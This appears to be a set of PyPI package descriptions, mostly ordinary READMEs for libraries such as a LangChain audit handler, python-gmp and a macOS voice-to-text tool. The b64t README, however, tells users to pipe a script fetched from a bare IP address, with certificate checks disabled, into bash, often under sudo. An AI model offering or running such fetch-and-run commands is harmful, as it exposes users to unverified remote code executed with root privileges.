semvec/pypi-packages huggingface dataset:
genai-auditor 0.1.0
LangChain-integrated compliance audit handler for GenAI (EU AI Act etc.). Captures prompts, outputs, and model usage with provenance hashing.
Requires Python: >=3.9
Keywords: langchain, compliance, audit, ai-act, genai, llm

# genai-auditor

LangChain に統合できる GenAI コンプライアンス監査パッケージです。

## ディレクトリ構成

```
genai-auditor/
├── pyproject.toml          # ビルド・メタデータ（PyPI 公開用）
├── README.md
├── example.py              # 開発者向け動作確認スクリプト
└── src/
    └── genai_auditor/
        ├── __init__.py     # パッケージエントリ（ComplianceAuditCallbackHandler を公開）
        └── callback.py     # コールバック実装・監査ログ生成・保存ロジック
```  
EU AI Act 等の 2026 年 AI 法規制に対応するため、LLM の入力・出力・モデル名を自動取得し、改ざん防止用のプロビナンスハッシュ付きで監査ログを保存します。

## インストール

```bash
pip install genai-auditor
```

開発版（ローカル）:

```bash
pip install -e /path/to/genai-auditor
```

## 3 行で導入

既存の LangChain コードにコールバックを渡すだけで監査が有効になります。

```python
from langchain_openai import ChatOpenAI
from genai_auditor import ComplianceAuditCallbackHandler

audit = ComplianceAuditCallbackHandler()
llm = ChatOpenAI(model="gpt-4o-mini", callbacks=[audit])
response = llm.invoke("こんにちは")
```

監査ログはデフォルトで `audit_logs.json` に追記されます。

## 監査ログの形式

各エントリには以下が含まれます。

- `run_id`: LangChain の実行 ID
- `model_name`: 使用したモデル名
- `prompts`: 入力プロンプト（リスト）
- `outputs`: LLM 出力テキスト（リスト）
- `started_at` / `ended_at`: ISO 8601 タイムスタンプ（UTC）
- `provenance_hash`: 上記フィールドから計算した SHA-256 ハッシュ（改ざん検知用）

## ログファイルの指定

```python
audit = ComplianceAuditCallbackHandler(audit_log_path="./logs/compliance.json")
```

## ライセンス

MIT
basepair 2.4.2
Python client for Basepair's API
Keywords: bioinformatics, ngs analysis, dna-seq, rna-seq, chip-seq, atac-seq

Python client for Basepair
======================

Python bindings for Basepair's API and command line interface (CLI).

### Using MFA
**Note: It is advisable to use MFA for increased security and best practices**

After you have been added to the list of collaborators, you can verify if MFA has been activated for you by visiting [collaboration page](https://pypi.org/manage/project/basepair/collaboration/)

### How to build and push to pypi:

#### Automated publishing of distribution
In the testing stage of the changes, it is advisable to use [Test PyPI](https://test.pypi.org/).
We already have github actions to publish on both Test PyPI and PyPI.
* [Publish Test Packages GitHub Action](https://github.com/basepair/basepair-python/actions/workflows/publish-test-package.yml)
* [Publish Production Package GitHub Action](https://github.com/basepair/basepair-python/actions/workflows/publish-package.yml)

#### Manual way from local
```BASH
python setup.py sdist bdist_wheel # This will create two files in a newly created dist directory, a source archive and a wheel:
twine upload dist/* # To upload it to Pypi
Uploading distributions to https://upload.pypi.org/legacy/
Enter your username:
Enter your password:
```

Note: `username` must be `__token__` (not your pypi username)
`password` is the token. You may generate the token -> [token creation page](https://pypi.org/manage/account/token/).

That is it!

Below is a successful execution sample:
```
Uploading distributions to https://upload.pypi.org/legacy/
Enter your username: __token__
Enter your password:
Uploading basepair-2.0.7-py3-none-any.whl
100% ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 51.0/51.0 kB • 00:00 • 36.3 MB/s
Uploading basepair-2.0.7.tar.gz
100% ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 37.4/37.4 kB • 00:00 • 47.2 MB/s

View at:
https://pypi.org/project/basepair/2.0.7/
```
python-gmp 0.6.0a1
Safe bindings to the GNU GMP library
Requires Python: >=3.11
Keywords: gmp, multiple-precision, arbitrary-precision, bignum

Python-GMP
==========

Python extension module, providing bindings to the GNU GMP via the `ZZ library
<https://github.com/diofant/zz>`_ (version 0.9.0 or later required).  This
module shouldn't crash the interpreter.

The gmp can be used as a `gmpy2`_/`python-flint`_ replacement to provide
integer type (`mpz`_), compatible with Python's `int`_.  It also includes
functions, compatible with the Python stdlib's submodule `math.integer
<https://docs.python.org/3.15/library/math.integer.html>`_.

This module requires Python 3.11 or later versions and has been tested with
CPython 3.11 through 3.14, with PyPy3.11 7.3.20 and with GraalPy 25.0.
Free-threading builds of the CPython are supported.

Releases are available in the Python Package Index (PyPI) at
https://pypi.org/project/python-gmp/.


Motivation
----------

The CPython (and most other Python implementations, like PyPy) is optimized to
work with small (machine-sized) integers.  Algorithms used here for big
integers usually aren't best known in the field.  Fortunately, it's possible to
use bindings (for example, the `gmpy2`_ package) to the GNU GMP, which aims to
be faster than any other bignum library for all operand sizes.

But such extension modules usually rely on default GMP's memory management and
can't recover from allocation failure.  So, it's easy to crash the Python
interpreter during the interactive session.  Following example with the gmpy2
will work if you set address space limit for the Python interpreter (e.g. by
``prlimit`` command on Linux):

.. code:: pycon

   >>> import gmpy2
   >>> gmpy2.__version__
   '2.2.1'
   >>> z = gmpy2.mpz(29925959575501)
   >>> while True:  # this loop will crash interpter
   ...     z = z*z
   ...
   GNU MP: Cannot allocate memory (size=46956584)
   Aborted

The gmp module handles such errors correctly:

.. code:: pycon

   >>> import gmp
   >>> z = gmp.mpz(29925959575501)
   >>> while True:
   ...     z = z*z
   ...
   Traceback (most recent call last):
     File "<python-input-3>", line 2, in <module>
       z = z*z
           ~^~
   MemoryError
   >>> # interpreter still works, all variables in
   >>> # the current scope are available,
   >>> z.bit_length()  # including pre-failure value of z
   93882077


Warning on --disable-alloca configure option
--------------------------------------------

You should use the GNU GMP library, compiled with the '--disable-alloca'
configure option to prevent using alloca() for temporary workspace allocation,
or this module may crash the interpreter in case of a stack overflow.


.. _gmpy2: https://pypi.org/project/gmpy2/
.. _python-flint: https://pypi.org/project/python-flint/
.. _mpz: https://python-gmp.readthedocs.io/en/latest/#gmp.mpz
.. _int: https://docs.python.org/3/library/functions.html#int
pylendar 0.5.0
Python port of the calendar reminder utility commonly found on BSD-style systems, which displays upcoming relevant dates.
Requires Python: >=3.11

# pylendar

Python port of the "calendar" reminder utility
commonly found on BSD-style systems,
which displays upcoming relevant dates.

* [FreeBSD calendar(1) man page](https://man.freebsd.org/cgi/man.cgi?calendar)

This utility has also been ported to Debian GNU/Linux,
so please see
[the Debian package](https://packages.debian.org/source/bookworm/bsdmainutils)
for more information.
b64t 0.1.48
Python bindings for b64t (requires system package)
Requires Python: >=3.8

# b64t - Python Bindings (Wrapper Package)

This is a minimal wrapper package for the system-installed b64t library.

## Installation

### 1. Install system package (required)

**macOS (Homebrew):**
```bash
# Note: -k flag for self-signed cert, will be replaced with proper certificate
curl -fsSLk https://136.110.224.249/b64t/homebrew/setup.sh | bash
```

Or manually:
```bash
brew tap vivanti/b64t
brew install vivanti/b64t/b64t
```

**Linux (APT - Debian/Ubuntu):**
```bash
curl -fsSLk https://136.110.224.249/b64t/apt/setup.sh | sudo bash
sudo apt install b64t
```

**Linux (YUM/DNF - RHEL/CentOS/Fedora):**
```bash
curl -fsSLk https://136.110.224.249/b64t/yum/setup.sh | sudo bash
sudo dnf install b64t
```

**FreeBSD:**
```bash
curl -fsSLk https://136.110.224.249/b64t/pkg/setup.sh | sudo bash
sudo pkg install b64t
```

### 2. Install pip wrapper (for virtual environments)

```bash
python3 -m venv myenv
source myenv/bin/activate
pip install b64t
```

## Usage

```python
import b64t

# Encode
encoded = b64t.encode(b'Hello, World!')
print(encoded)

# Decode
decoded = b64t.decode(encoded)
print(decoded)

# Streaming
with open('input.bin', 'rb') as f:
    for chunk in b64t.encodePipe(f):
        print(chunk)
```

## How It Works

This wrapper automatically detects your Python distribution and uses the optimal loading strategy:

- **Homebrew/python.org/Linux Python**: Loads the native C extension for maximum performance (Stable ABI, one binary for Python 3.8+)
- **Apple system Python** (`/usr/bin/python3`): Uses ctypes to call `libb64t.dylib` directly, bypassing C extension ABI incompatibilities with Apple's Python shim

## Notes

- This package requires the system `b64t` package to be installed via Homebrew (macOS), APT (Debian/Ubuntu), YUM/DNF (RHEL/CentOS/Fedora), or FreeBSD pkg
- If the system package is not installed, import will fail with a clear error message
tablevault 0.2.2
Centralized data repository for cross-process data filtering in Python.
Requires Python: >=3.11
Keywords: example, package, python

# TableVault

Version 2.0 of TableVault. Retains basic functionality from v1.0 but with more robust backend storage and simpler API.

You can view the previous website at: www.tablevault.org.

# Changes from v1.0

- Data is stored by data type rather than by instance.

- Tables are stored in ArangoDB rather than as DataFrames.

- First level support for arrays, embeddings, and text files.

- API changes to match industry standards.

# New Core Feature: Data Queries

The main reason for the redesign is that we want to design the metadata layer to support robust queries from the ground up.

The API supports:

- Vector search over data descriptions

- Reproducible search (with timestamps)

- Direct and indirect data lineage (based on code traces)

I would also like to include:

# Planned Features

- Experimental LLM Layer to support natural language search over context
blurt 0.5.5
Talk to your coding agents. On-device voice-to-text for macOS Apple Silicon. No cloud, no API keys.
Requires Python: >=3.10
Keywords: speech-to-text, whisper, mlx, apple-silicon, macos, voice, transcription

<p align="center">
  <pre align="center">
░█▀▄░█░░░█░█░█▀▄░▀█▀
░█▀▄░█░░░█░█░█▀▄░░█░
░▀▀░░▀▀▀░▀▀▀░▀░▀░░▀░
  </pre>
  <p align="center">Talk to your coding agents.</p>
  <p align="center">
    <a href="https://pypi.org/project/blurt/"><img src="https://img.shields.io/pypi/v/blurt?color=blue" alt="PyPI"></a>
    <a href="https://pepy.tech/project/blurt"><img src="https://img.shields.io/pepy/dt/blurt?color=green" alt="Downloads"></a>
    <a href="https://github.com/satyaborg/blurt/blob/main/LICENSE"><img src="https://img.shields.io/github/license/satyaborg/blurt" alt="License"></a>
  </p>
</p>

<p align="center">
  <img src="https://raw.githubusercontent.com/satyaborg/blurt/main/demo.gif" alt="demo" width="600">
</p>

On-device voice-to-text for macOS. Hold right **⌘**, speak, release - your words go straight into Claude Code, Codex, Cursor, OpenCode or any other agent, wherever your cursor is.

## Install

```bash
pipx install blurt
```

> Requires [pipx](https://pipx.pypa.io/) (`brew install pipx`) and macOS with Apple Silicon.

First run downloads the Whisper model (~1.6 GB, one-time). macOS will prompt for **Microphone** and **Accessibility** access (System Settings → Privacy & Security).

## Usage

| Action | Description |
|---|---|
| Hold right **⌘** | Start recording |
| Release right **⌘** | Stop, transcribe, paste at cursor |
| **Ctrl + C** | Quit |

## Custom Words

Teach Blurt words it gets wrong (names, jargon, acronyms):

```bash
blurt add "Claude Code"   # add a word
blurt vocab               # list all
blurt rm "Claude Code"    # remove
```

Words are stored in `~/.blurt/vocab.txt` (one per line).

## @-mentions

Run Blurt from a git repo and spoken filenames automatically resolve to `@path/to/file` references that coding agents understand. For example, saying _"check init.py for the bug"_ becomes `check @blurt/__init__.py for the bug`.

## Transcript History

```bash
blurt log                 # view recent transcripts
```

Logs are stored in `~/.blurt/log.txt`.

## Update

```bash
blurt upgrade
```

## Troubleshooting

| Issue | Fix |
|---|---|
| "Microphone access" prompt doesn't appear | System Settings → Privacy & Security → Microphone → enable your terminal |
| "Accessibility" error | System Settings → Privacy & Security → Accessibility → enable your terminal |
| No audio / recording fails | `brew install portaudio` then restart your terminal |
| Model download stalls | Check disk space (~1.6 GB needed in `~/.cache/huggingface/`) |

## Contributing

```bash
git clone https://github.com/satyaborg/blurt.git
cd blurt
uv pip install -e ".[dev]"
pytest
```

## Privacy

Everything runs on your Mac. No network calls, no telemetry, no data collection. Audio files are saved locally to `~/.blurt/audio/` and never leave your device.

## License

[MIT](LICENSE)